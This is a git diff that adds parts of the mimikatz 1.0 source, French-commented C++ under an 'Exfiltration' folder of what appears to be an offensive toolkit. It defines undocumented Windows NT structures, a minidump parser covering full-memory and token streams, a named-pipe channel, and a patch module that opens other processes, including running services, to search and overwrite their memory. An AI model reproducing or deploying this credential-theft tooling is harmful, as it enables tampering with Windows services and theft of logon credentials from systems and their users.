wchar_t *FlagsString[] = { + L"MiniDumpNormal", + L"MiniDumpWithDataSegs", + L"MiniDumpWithFullMemory", + L"MiniDumpWithHandleData", + L"MiniDumpFilterMemory", + L"MiniDumpScanMemory", + L"MiniDumpWithUnloadedModules", + L"MiniDumpWithIndirectlyReferencedMemory", + L"MiniDumpFilterModulePaths", + L"MiniDumpWithProcessThreadData", + L"MiniDumpWithPrivateReadWriteMemory", + L"MiniDumpWithoutOptionalData", + L"MiniDumpWithFullMemoryInfo", + L"MiniDumpWithThreadInfo", + L"MiniDumpWithCodeSegs", + L"MiniDumpWithoutAuxiliaryState", + L"MiniDumpWithFullAuxiliaryState", + L"MiniDumpWithPrivateWriteCopyMemory", + L"MiniDumpIgnoreInaccessibleMemory", + L"MiniDumpWithTokenInformation" +}; + +bool mod_minidump::FlagsToStrings(vector<wstring> * monVecteur) +{ + return FlagsToStrings(getFlags(), monVecteur); +} + +bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur) +{ + bool resultat = false; + + if(!Flags) + { + monVecteur->push_back(FlagsString[0]); + resultat = true; + } + else if(Flags & MiniDumpValidTypeFlags) + { + DWORD shift, i; + for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++) + { + if((Flags & shift) == shift) + monVecteur->push_back(FlagsString[i]); + } + resultat = true; + } + + return resultat; +} + +LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; i++) + { + if(mesRepertoires[i].StreamType == type) + return RVAtoPTR(mesRepertoires[i].Location.Rva); + } + return NULL; +} + +PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule) +{ + if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast<PMINIDUMP_MODULE_LIST>(getStream(ModuleListStream))) + { + for(DWORD i = 0; i < monObject->NumberOfModules; i++) + { + PMINIDUMP_MODULE monModule = &monObject->Modules[i]; + PMINIDUMP_STRING monModuleString = reinterpret_cast<PMINIDUMP_STRING>(RVAtoPTR(monObject->Modules[i].ModuleNameRva)); + if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size())) + return monModule; + } + } + return NULL; +} + +bool mod_minidump::getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur) +{ + PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva)); + for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++])); + return true; +} + +const wchar_t *StreamTypeString[] = { + L"UnusedStream", + L"ReservedStream0", + L"ReservedStream1", + L"ThreadListStream", + L"ModuleListStream", + L"MemoryListStream", + L"ExceptionStream", + L"SystemInfoStream", + L"ThreadExListStream", + L"Memory64ListStream", + L"CommentStreamA", + L"CommentStreamW", + L"HandleDataStream", + L"FunctionTableStream", + L"UnloadedModuleListStream", + L"MiscInfoStream", + L"MemoryInfoListStream", + L"ThreadInfoListStream", + L"HandleOperationListStream", + L"TokenStream" +}; + +wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType) +{ + if(monType <= TokenStream) + return StreamTypeString[monType]; + else + { + wostringstream monStream; + monStream << L"Inconnu (" << monType << L")"; + return monStream.str(); + } +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h new file mode 100644 index 0000000..4247ab0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <dbghelp.h> +#include "mod_text.h" + +class mod_minidump +{ +private: + HANDLE monFichier, monFileMapping; + LPVOID mesDonnees; + +public: + mod_minidump(); + virtual ~mod_minidump(void); + + LPVOID RVAtoPTR(RVA monRVA); + bool open(wchar_t * filename); + LPVOID getStream(MINIDUMP_STREAM_TYPE type); + + PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule); + bool getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur); + MINIDUMP_TYPE getFlags(); + bool FlagsToStrings(vector<wstring> * monVecteur); + + + static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType); + static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h new file mode 100644 index 0000000..7188f2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h @@ -0,0 +1,322 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include <windows.h> +#include <ntsecapi.h> + +typedef LONG KPRIORITY; +typedef void** PPVOID; + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemNextEventIdInformation, + SystemEventIdsInformation, + SystemCrashDumpInformation, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemPlugPlayBusInformation, + SystemDockInformation, + KIWI_SystemPowerInformation, + SystemProcessorSpeedInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + KIWI_SystemMmSystemRangeStart = 50 +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectAllInformation, + ObjectDataInformation +} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; + + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +typedef enum _POOL_TYPE +{ + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS +} POOL_TYPE, *PPOOL_TYPE; + +typedef struct _PROCESS_SESSION_INFORMATION { + ULONG SessionId; +} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING Name; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccess; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + USHORT MaintainTypeList; + POOL_TYPE PoolType; + ULONG PagedPoolUsage; + ULONG NonPagedPoolUsage; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModulevector; + LIST_ENTRY InMemoryOrderModulevector; + LIST_ENTRY InInitializationOrderModulevector; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine; + PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PPVOID KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + DWORD Freevector; //PPEB_FREE_BLOCK Freevector; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID *ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributevector; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, *PPEB; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union { + ULONG Flags; + struct { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _SYSTEM_HANDLE +{ + DWORD ProcessId; + BYTE ObjectTypeNumber; + BYTE Flags; + USHORT Handle; + PVOID Object; + ACCESS_MASK GrantedAccess; +} SYSTEM_HANDLE, *PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + DWORD HandleCount; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength); +typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp new file mode 100644 index 0000000..3388c3e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_parseur.h" + +vector<wstring> mod_parseur::parse(const wstring & line) +{ + vector<wstring> result; + + wstring item; + wstringstream ss(line); + + while(ss >> item) + { + if (item[0] == L'"') + { + if (item[item.length() - 1] == L'"') + { + result.push_back(item.substr(1, item.length() -2)); + } + else + { + wstring restOfItem; + getline(ss, restOfItem, L'"'); + result.push_back(item.substr(1) + restOfItem); + } + } + else + { + result.push_back(item); + } + } + + return result; +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h new file mode 100644 index 0000000..e897aba --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h @@ -0,0 +1,15 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <sstream> + +class mod_parseur +{ +public: + static vector<wstring> parse(const wstring & line); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp new file mode 100644 index 0000000..95b46c6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp @@ -0,0 +1,146 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_patch.h" +#include "..\mimikatz\global.h" + +bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING) + { + (*outputStream) << L"Service : " << monService.serviceDisplayName << endl; + reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace); + } + else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air trčs actif" << endl; + } + else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl; + + return reussite; +} + +bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid)) + { + BYTE * baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + (*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl; + + BYTE * addrPattern = NULL; + if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle)) + { + reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle); + (*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl; + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + + CloseHandle(processHandle); + } + else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64) +{ + bool reussite = false; + + OSVERSIONINFOEX maVersion; + if(reussite = mod_system::getVersion(&maVersion)) + { + if(majorVersion) *majorVersion = maVersion.dwMajorVersion; + if(majorVersion) *minorVersion = maVersion.dwMinorVersion; + if(build) *build = maVersion.dwBuildNumber; + if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION; + + if(is64) + { + SYSTEM_INFO mesInfos; + GetNativeSystemInfo(&mesInfos); + + *is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64); + } + } + + return reussite; +} + +bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide) +{ + bool reussite = false; + + DWORD majorVersion, minorVersion, build; + bool isServer, is64; + + if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64)) + { + reussite = + (monOsValide->majorVersion == majorVersion) && + (monOsValide->minorVersion == minorVersion) && + ((monOsValide->build == build) || (monOsValide->build == 0)) && + (monOsValide->isServer == isServer) && + (monOsValide->is64 == is64) + ; + } + else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::checkVersion(OS monOsValide) +{ + KIWI_OS_CHECK kOs; + switch(monOsValide) + { + case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + + case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + } + + return checkVersion(&kOs); +} + + +bool mod_patch::checkVersion(vector<OS> * vectorValid) +{ + bool reussite = false; + + for(vector<OS>::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++) + { + reussite = checkVersion(*monOs); + } + + if(!reussite) + (*outputStream) << L"La version du systčme d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.h b/Exfiltration/mimikatz-1.0/modules/mod_patch.h new file mode 100644 index 0000000..1ae901d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_service.h" +#include <iostream> + +class mod_patch +{ +public: + typedef struct _KIWI_OS_CHECK + { + DWORD majorVersion; + DWORD minorVersion; + DWORD build; + bool isServer; + bool is64; + } KIWI_OS_CHECK, *PKIWI_OS_CHECK; + + enum OS + { + WINDOWS_2000_PRO_x86, + WINDOWS_2000_SRV_x86, + + WINDOWS_XP_PRO___x86, + WINDOWS_XP_PRO___x64, + WINDOWS_2003_____x86, + WINDOWS_2003_____x64, + + WINDOWS_VISTA____x86, + WINDOWS_VISTA____x64, + WINDOWS_2008_____x86, + WINDOWS_2008_____x64, + + WINDOWS_SEVEN____x86, + WINDOWS_SEVEN____x64, + WINDOWS_2008r2___x64, + + WINDOWS_8________x86, + WINDOWS_8________x64, + WINDOWS_8_SERVER_x64 + }; + + static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL); + static bool checkVersion(KIWI_OS_CHECK * monOsValide); + static bool checkVersion(OS monOsValide); + static bool checkVersion(vector<OS> * vectorValid); + + static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); + static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp new file mode 100644 index 0000000..bd62e9e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp @@ -0,0 +1,121 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_pipe.h" + +mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\") +{ + pipePath.append(serveur); + pipePath.append(L"\\pipe\\"); + pipePath.append(pipeName); +} + +mod_pipe::~mod_pipe(void) +{ + closePipe(); +} + +bool mod_pipe::closePipe() +{ + bool reussite = false; + + if(hPipe != INVALID_HANDLE_VALUE && hPipe) + { + FlushFileBuffers(hPipe); + DisconnectNamedPipe(hPipe); + reussite = CloseHandle(hPipe) == TRUE; + } + return reussite; +} + +bool mod_pipe::readFromPipe(wstring &laReponse) +{ + bool reussite = false; + wchar_t monBuffer[128]; + + bool fSuccess; + DWORD longueurReponse; + laReponse.clear(); + + do + { + fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false; + if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */) + { + laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t)); + } + else + { + break; + } + } while (!fSuccess); + + return reussite; +} + +bool mod_pipe::writeToPipe(const wstring &leMessage) +{ + bool reussite = false; + DWORD longueurMessage; + DWORD longueurOctetsEcris; + + longueurMessage = (static_cast<DWORD>(leMessage.size())) * sizeof(wchar_t); + + if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris) + { + reussite = FlushFileBuffers(hPipe) != 0; + } + return reussite; +} + + +bool mod_pipe::createServer() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL); + + if (hPipe && hPipe != INVALID_HANDLE_VALUE) + { + reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); + } + else + { + closePipe(); + } + } + return reussite; +} + +bool mod_pipe::createClient() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT)) + { + hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (hPipe != INVALID_HANDLE_VALUE) + { + DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; + + if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0)) + { + closePipe(); + } + } + } + } + return reussite; +} + +bool mod_pipe::isConnected() +{ + return (hPipe && hPipe != INVALID_HANDLE_VALUE); +}
